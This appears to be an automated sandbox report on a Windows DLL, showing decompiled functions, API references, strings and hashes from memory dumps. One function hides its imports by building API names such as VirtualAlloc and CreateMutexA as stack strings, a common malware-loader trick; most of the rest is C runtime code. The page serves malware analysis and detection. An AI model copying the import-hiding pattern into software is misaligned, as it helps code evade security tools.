Instruction ID: 7c7d27e44e3a9596273a246bb7f0da0284769d9563fb912390f856e25b4ea834
Opcode Fuzzy Hash: 1580201b4cc4ee33dbc86862b580259b851a5d456b4e8d750c7a926fbec96dd2
Instruction Fuzzy Hash: 9551C9705105698FDB40DF2BD890965BBF4EF8A321F5981D9E5C8EB342C235EA62CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC14AE, Relevance: .0, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC14AE(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E6EFC03AE(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x6efc14bb
0x6efc14bd
0x6efc14c0
0x6efc14c3
0x6efc14c6
0x6efc14d7
0x6efc14d9
0x6efc14c8
0x6efc14cc
0x6efc14d5
0x00000000
0x00000000
0x6efc14d5
0x6efc14e0

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d6e38d98d3da71006e7a19da4402c2d27cb404d58e6ce93ddf7320851fb6630
Instruction ID: 7345b44a58df61493c6f89c1a2da0cfea97d960d0b05c05da67ce92b44d7f151
Opcode Fuzzy Hash: 6d6e38d98d3da71006e7a19da4402c2d27cb404d58e6ce93ddf7320851fb6630
Instruction Fuzzy Hash: A6E04632A1122DEBCB24DAC9C910A9AB3BCEB0AE11B2145ABF904D3210D2759E10C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 6EFA1305, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFA1305() {
				char _v5;
				intOrPtr _v9;
				intOrPtr _v13;
				char _v17;
				char _v18;
				intOrPtr _v22;
				intOrPtr _v26;
				char _v30;
				char _v31;
				char _v32;
				short _v34;
				intOrPtr _v38;
				char _v42;
				char _v43;
				intOrPtr _v47;
				intOrPtr _v51;
				char _v55;
				char _v56;
				intOrPtr _v60;
				char _v64;
				struct HINSTANCE__* _t26;
				struct HINSTANCE__* _t28;
				struct HINSTANCE__* _t30;
				struct HINSTANCE__* _t32;
				_Unknown_base(*)()* _t33;

				_v64 = 0x6e72656b;
				_v60 = 0x32336c65;
				_v56 = 0;
				_v55 = 0x74726956;
				_v51 = 0x416c6175;
				_v47 = 0x636f6c6c;
				_v43 = 0;
				_v42 = 0x74726956;
				_v38 = 0x466c6175;
				_v34 = 0x6572;
				_v32 = 0x65;
				_v31 = 0;
				_v30 = 0x61657243;
				_v26 = 0x754d6574;
				_v22 = 0x41786574;
				_v18 = 0;
				_v17 = 0x4c746547;
				_v13 = 0x45747361;
				_v9 = 0x726f7272;
				_v5 = 0;
				_t21 =  &_v64; // 0x6e72656b
				_t26 = GetModuleHandleA(_t21);
				if(_t26 != 0) {
					_t22 =  &_v55; // 0x74726956
					 *0x6efe6064 = GetProcAddress(_t26, _t22);
					_t28 = _t26;
					_t23 =  &_v42; // 0x74726956
					 *0x6efe6068 = GetProcAddress(_t28, _t23);
					_t30 = _t28;
					_t24 =  &_v30; // 0x61657243
					 *0x6efe606c = GetProcAddress(_t30, _t24);
					_t32 = _t30;
					_t33 = GetProcAddress(_t32,  &_v17);
					 *0x6efe6070 = _t33;
					return _t33;
				}
				return _t26;
			}

0x6efa130b
0x6efa1312
0x6efa1319
0x6efa131d
0x6efa1324
0x6efa132b
0x6efa1332
0x6efa1336
0x6efa133d
0x6efa1344
0x6efa134a
0x6efa134e
0x6efa1352
0x6efa1359
0x6efa1360
0x6efa1367
0x6efa136b
0x6efa1372
0x6efa1379
0x6efa1380
0x6efa1384
0x6efa1388
0x6efa1390
0x6efa1393
0x6efa139e
0x6efa13a3
0x6efa13a5
0x6efa13b0
0x6efa13b5
0x6efa13b7
0x6efa13c2
0x6efa13c7
0x6efa13cd
0x6efa13d3
0x00000000
0x6efa13d3
0x6efa13d9

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EFA1388
GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 6EFA1398
GetProcAddress.KERNEL32(6E72656B,VirtualFreCreateMutexA), ref: 6EFA13AA
GetProcAddress.KERNEL32(32336C65,CreateMutexA), ref: 6EFA13BC
GetProcAddress.KERNEL32(00000000,4C746547), ref: 6EFA13CD

Strings

GetL, xrefs: 6EFA136B
rror, xrefs: 6EFA1379
texA, xrefs: 6EFA1360
VirtualFreCreateMutexA, xrefs: 6EFA13A5, 6EFA13A8
kernel32, xrefs: 6EFA1384, 6EFA1387
astE, xrefs: 6EFA1372
VirtualAlloc, xrefs: 6EFA1393, 6EFA1396

Memory Dump Source

Source File: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: GetL$VirtualAlloc$VirtualFreCreateMutexA$astE$kernel32$rror$texA
API String ID: 667068680-3744176233
Opcode ID: 34f2ad905cfb4145ff6918dcf9ebdbec0382b1a8c4a6b02915b3c0faab18cf66
Instruction ID: c25fcc9bf8610a3efa45c0c309069698d7f6cd0e530206065638faf7a7f1afa9
Opcode Fuzzy Hash: 34f2ad905cfb4145ff6918dcf9ebdbec0382b1a8c4a6b02915b3c0faab18cf66
Instruction Fuzzy Hash: 8A211FB1C14788EFEF01DFE4C548BEEBB79AB86700F108549E541AA214DAB49204CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC429D, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC429D(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x6efe6790) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E6EFBFEFF(_t46);
							E6EFC4608( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E6EFBFEFF(_t47);
							E6EFC4706( *((intOrPtr*)(_t74 + 0x88)));
						}
						E6EFBFEFF( *((intOrPtr*)(_t74 + 0x7c)));
						E6EFBFEFF( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E6EFBFEFF( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E6EFBFEFF( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E6EFBFEFF( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E6EFBFEFF( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E6EFC4410( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6efe6260) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6EFBFEFF(_t31);
							E6EFBFEFF( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E6EFBFEFF(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6EFBFEFF(_t74);
			}

0x6efc42a5
0x6efc42a9
0x6efc42b1
0x6efc42ba
0x6efc42bf
0x6efc42c6
0x6efc42ce
0x6efc42d6
0x6efc42e1
0x6efc42e7
0x6efc42e8
0x6efc42f0
0x6efc42f8
0x6efc4303
0x6efc4309
0x6efc430d
0x6efc4318
0x6efc431e
0x6efc42bf
0x6efc431f
0x6efc4327
0x6efc433a
0x6efc434d
0x6efc435b
0x6efc4366
0x6efc436b
0x6efc4374
0x6efc437c
0x6efc437d
0x6efc4383
0x6efc4386
0x6efc4389
0x6efc4390
0x6efc4392
0x6efc4396
0x6efc439e
0x6efc43a5
0x6efc43ab
0x6efc43ac
0x6efc43ac
0x6efc43b3
0x6efc43b5
0x6efc43ba
0x6efc43c2
0x6efc43c7
0x6efc43c8
0x6efc43c8
0x6efc43cb
0x6efc43ce
0x6efc43d1
0x6efc43d4
0x6efc43d4
0x6efc43e6

APIs

___free_lconv_mon.LIBCMT ref: 6EFC42E1

Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC4625
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC4637
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC4649
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC465B
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC466D
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC467F
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC4691
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46A3
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46B5
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46C7
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46D9
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46EB
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46FD

_free.LIBCMT ref: 6EFC42D6

Part of subcall function 6EFBFEFF: HeapFree.KERNEL32(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

_free.LIBCMT ref: 6EFC42F8
_free.LIBCMT ref: 6EFC430D
_free.LIBCMT ref: 6EFC4318
_free.LIBCMT ref: 6EFC433A
_free.LIBCMT ref: 6EFC434D
_free.LIBCMT ref: 6EFC435B
_free.LIBCMT ref: 6EFC4366
_free.LIBCMT ref: 6EFC439E
_free.LIBCMT ref: 6EFC43A5
_free.LIBCMT ref: 6EFC43C2
_free.LIBCMT ref: 6EFC43DA

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: e373c07af455ad5f4c15e7950ed09b4f1835768e6e864aeda2f81bdc76a05fb8
Instruction ID: 3bc1fea1c9d5fb080412ee7d12053aaa11380da619d997f5155aab74cadb9846
Opcode Fuzzy Hash: e373c07af455ad5f4c15e7950ed09b4f1835768e6e864aeda2f81bdc76a05fb8
Instruction Fuzzy Hash: 413173326043079FE7509AF9DC60B9B73E9BF80724F304A5AE455DB651DF31A8429B21

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC0EF4, Relevance: 15.1, APIs: 10, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EFC0EF4(void* __edx, void* __esi, char _a4) {
				char _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				intOrPtr _t67;
				void* _t71;
				void* _t72;

				_t72 = __esi;
				_t71 = __edx;
				_t36 = _a4;
				_t67 =  *_a4;
				_t76 = _t67 - 0x6efc8a38;
				if(_t67 != 0x6efc8a38) {
					E6EFBFEFF(_t67);
					_t36 = _a4;
				}
				E6EFBFEFF( *((intOrPtr*)(_t36 + 0x3c)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x30)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x34)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x38)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x28)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x2c)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x40)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x44)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E6EFC0D3C( &_v5, _t71, _t76);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E6EFC0D9D( &_v5, _t71, _t72, _t76);
			}

0x6efc0ef4
0x6efc0ef4
0x6efc0ef9
0x6efc0eff
0x6efc0f01
0x6efc0f07
0x6efc0f0a
0x6efc0f0f
0x6efc0f12
0x6efc0f16
0x6efc0f21
0x6efc0f2c
0x6efc0f37
0x6efc0f42
0x6efc0f4d
0x6efc0f58
0x6efc0f63
0x6efc0f71
0x6efc0f7c
0x6efc0f84
0x6efc0f85
0x6efc0f88
0x6efc0f8e
0x6efc0f92
0x6efc0f96
0x6efc0f97
0x6efc0fa1
0x6efc0fa7
0x6efc0fa8
0x6efc0fab
0x6efc0fb1
0x6efc0fb5
0x6efc0fb9
0x6efc0fc2

APIs

_free.LIBCMT ref: 6EFC0F0A

Part of subcall function 6EFBFEFF: HeapFree.KERNEL32(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

_free.LIBCMT ref: 6EFC0F16
_free.LIBCMT ref: 6EFC0F21
_free.LIBCMT ref: 6EFC0F2C
_free.LIBCMT ref: 6EFC0F37
_free.LIBCMT ref: 6EFC0F42
_free.LIBCMT ref: 6EFC0F4D
_free.LIBCMT ref: 6EFC0F58
_free.LIBCMT ref: 6EFC0F63
_free.LIBCMT ref: 6EFC0F71

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 84cd09db60c8ffef17dc2ad60b82c2774c05bd39f929efbc3e1e97b8de105dbd
Instruction ID: 70017936242db0ac2550402b124d10266041f1bf96e3009c35d1390077f7af4e
Opcode Fuzzy Hash: 84cd09db60c8ffef17dc2ad60b82c2774c05bd39f929efbc3e1e97b8de105dbd
Instruction Fuzzy Hash: 43219B7A900148AFDB41EFD9CC50DEE7BB9AF08354F2045A6E515DF621EB31EA54CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBD3D0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E6EFBD3D0(void* __ebx, void* __edi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v40;
				char _t51;
				signed int _t58;
				intOrPtr _t59;
				void* _t60;
				intOrPtr* _t61;
				intOrPtr _t63;
				intOrPtr* _t64;
				intOrPtr* _t67;
				intOrPtr _t71;
				intOrPtr _t73;
				signed int _t75;
				char _t77;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr* _t97;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t110;

				_t71 = _a8;
				_v5 = 0;
				_t93 = _t71 + 0x10;
				_push(_t93);
				_v16 = 1;
				_v20 = _t93;
				_v12 =  *(_t71 + 8) ^  *0x6efe609c;
				E6EFBD390( *(_t71 + 8) ^  *0x6efe609c);
				E6EFBD717(_a12);
				_t51 = _a4;
				_t102 = _t101 + 0xc;
				_t90 =  *((intOrPtr*)(_t71 + 0xc));
				if(( *(_t51 + 4) & 0x00000066) != 0) {
					__eflags = _t90 - 0xfffffffe;
					if(_t90 != 0xfffffffe) {
						E6EFBD700(_t71, 0xfffffffe, _t93, 0x6efe609c);
						goto L14;
					}
					goto L15;
				} else {
					_v32 = _t51;
					_v28 = _a12;
					 *((intOrPtr*)(_t71 - 4)) =  &_v32;
					if(_t90 == 0xfffffffe) {
						L15:
						return _v16;
					} else {
						do {
							_t75 = _v12;
							_t20 = _t90 + 2; // 0x3
							_t58 = _t90 + _t20 * 2;
							_t73 =  *((intOrPtr*)(_t75 + _t58 * 4));
							_t59 = _t75 + _t58 * 4;
							_t76 =  *((intOrPtr*)(_t59 + 4));
							_v24 = _t59;
							if( *((intOrPtr*)(_t59 + 4)) == 0) {
								_t77 = _v5;
								goto L8;
							} else {
								_t60 = E6EFBD6B0(_t76, _t93);
								_t77 = 1;
								_v5 = 1;
								_t110 = _t60;
								if(_t110 < 0) {
									_v16 = 0;
									L14:
									_push(_t93);
									E6EFBD390(_v12);
									goto L15;
								} else {
									if(_t110 > 0) {
										_t61 = _a4;
										__eflags =  *_t61 - 0xe06d7363;
										if( *_t61 == 0xe06d7363) {
											__eflags =  *0x6efc8a30;
											if(__eflags != 0) {
												_t67 = E6EFC6B90(__eflags, 0x6efc8a30);
												_t102 = _t102 + 4;
												__eflags = _t67;
												if(_t67 != 0) {
													_t97 =  *0x6efc8a30; // 0x6efbe30c
													 *0x6efc8124(_a4, 1);
													 *_t97();
													_t93 = _v20;
													_t102 = _t102 + 8;
												}
												_t61 = _a4;
											}
										}
										E6EFBD6E4(_t61, _a8, _t61);
										_t63 = _a8;
										__eflags =  *((intOrPtr*)(_t63 + 0xc)) - _t90;
										if( *((intOrPtr*)(_t63 + 0xc)) != _t90) {
											E6EFBD700(_t63, _t90, _t93, 0x6efe609c);
											_t63 = _a8;
										}
										 *((intOrPtr*)(_t63 + 0xc)) = _t73;
										_t64 = E6EFBD390(_v12);
										E6EFBD6C8();
										asm("int3");
										__imp__InterlockedFlushSList(_v40, _t98, _t93);
										__eflags = _t64;
										if(_t64 != 0) {
											_push(_t93);
											do {
												_t95 =  *_t64;
												E6EFBE93F(_t64);
												_t64 = _t95;
												__eflags = _t95;
											} while (_t95 != 0);
											return _t64;
										}
										return _t64;
									} else {
										goto L8;
									}
								}
							}
							goto L29;
							L8:
							_t90 = _t73;
						} while (_t73 != 0xfffffffe);
						if(_t77 != 0) {
							goto L14;
						}
						goto L15;
					}
				}
				L29:
			}

0x6efbd3d7
0x6efbd3dc
0x6efbd3e3
0x6efbd3ec
0x6efbd3ee
0x6efbd3f5
0x6efbd3f8
0x6efbd3fb
0x6efbd403
0x6efbd408
0x6efbd40b
0x6efbd40e
0x6efbd415
0x6efbd476
0x6efbd479
0x6efbd488
0x00000000
0x6efbd488
0x00000000
0x6efbd417
0x6efbd417
0x6efbd41d
0x6efbd423
0x6efbd429
0x6efbd499
0x6efbd4a2
0x6efbd42b
0x6efbd430
0x6efbd430
0x6efbd433
0x6efbd436
0x6efbd439
0x6efbd43c
0x6efbd43f
0x6efbd442
0x6efbd447
0x6efbd45d
0x00000000
0x6efbd449
0x6efbd44b
0x6efbd450
0x6efbd452
0x6efbd455
0x6efbd457
0x6efbd46d
0x6efbd48d
0x6efbd48d
0x6efbd491
0x00000000
0x6efbd459
0x6efbd459
0x6efbd4a3
0x6efbd4a6
0x6efbd4ac
0x6efbd4ae
0x6efbd4b5
0x6efbd4bc
0x6efbd4c1
0x6efbd4c4
0x6efbd4c6
0x6efbd4c8
0x6efbd4d5
0x6efbd4db
0x6efbd4dd
0x6efbd4e0
0x6efbd4e0
0x6efbd4e3
0x6efbd4e3
0x6efbd4b5
0x6efbd4eb
0x6efbd4f0
0x6efbd4f3
0x6efbd4f6
0x6efbd502
0x6efbd507
0x6efbd507
0x6efbd50e
0x6efbd511
0x6efbd521
0x6efbd526
0x6efbd52d
0x6efbd533
0x6efbd535
0x6efbd537
0x6efbd538
0x6efbd538
0x6efbd53b
0x6efbd540
0x6efbd543
0x6efbd543
0x00000000
0x6efbd547
0x6efbd549
0x6efbd45b
0x00000000
0x6efbd45b
0x6efbd459
0x6efbd457
0x00000000
0x6efbd460
0x6efbd460
0x6efbd462
0x6efbd469
0x00000000
0x6efbd46b
0x00000000
0x6efbd469
0x6efbd429
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 6EFBD3FB
___except_validate_context_record.LIBVCRUNTIME ref: 6EFBD403
_ValidateLocalCookies.LIBCMT ref: 6EFBD491
__IsNonwritableInCurrentImage.LIBCMT ref: 6EFBD4BC
_ValidateLocalCookies.LIBCMT ref: 6EFBD511

Strings

csm, xrefs: 6EFBD4A6

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b4837b56995ccc333252a7639d44b0d3945453a641c44992131da10fcd049dc2
Instruction ID: a94c26383822543155636723e1b394734ad78df9c54454aad7be88a9863053ef
Opcode Fuzzy Hash: b4837b56995ccc333252a7639d44b0d3945453a641c44992131da10fcd049dc2
Instruction Fuzzy Hash: DD419534A10209EBCB00DFAAC86469E7BB5AF45328F10C565E9199F251D737F901CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC0262, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC0262(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x6effe350 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x6efc8ce8 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E6EFBFE77(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E6EFBFE77(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x6efc026b
0x6efc0315
0x6efc0273
0x6efc0275
0x6efc027c
0x6efc027e
0x6efc0284
0x6efc0291
0x6efc02a6
0x6efc02aa
0x6efc02fc
0x6efc02fc
0x6efc0301
0x6efc0305
0x6efc0308
0x6efc0308
0x6efc030e
0x6efc0310
0x6efc0327
0x6efc0320
0x6efc0326
0x6efc0326
0x6efc0312
0x6efc0312
0x00000000
0x6efc0312
0x6efc02ac
0x6efc02b5
0x6efc02ec
0x6efc02ec
0x6efc02ee
0x6efc02f0
0x00000000
0x00000000
0x6efc02f8
0x00000000
0x6efc02f8
0x6efc02bf
0x6efc02c4
0x6efc02c9
0x00000000
0x00000000
0x6efc02d3
0x6efc02d8
0x6efc02dd
0x00000000
0x00000000
0x6efc02e2
0x6efc02e8
0x00000000
0x6efc02e8
0x6efc0289
0x00000000
0x00000000
0x00000000
0x6efc028f
0x6efc031e
0x00000000

Strings

ext-ms-, xrefs: 6EFC02CD
api-ms-, xrefs: 6EFC02B9

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 65f7e8d849b4a4b7ae1f1b1bce20a24d27241624204c387c14b786ef4cd14508
Instruction ID: a800623653e6b62f8cfd42d0f22acedf119e305a634b015e58415630df3aa860
Opcode Fuzzy Hash: 65f7e8d849b4a4b7ae1f1b1bce20a24d27241624204c387c14b786ef4cd14508
Instruction Fuzzy Hash: 42212EB3B85527ABCB115AE58C64B8F37689F46F60F310551EC25A7281FB70ED0385E2

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC47A7, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC47A7(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E6EFC476F(_t45, 7);
					E6EFC476F(_t45 + 0x1c, 7);
					E6EFC476F(_t45 + 0x38, 0xc);
					E6EFC476F(_t45 + 0x68, 0xc);
					E6EFC476F(_t45 + 0x98, 2);
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0xa0)));
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0xa4)));
					E6EFBFEFF( *((intOrPtr*)(_t45 + 0xa8)));
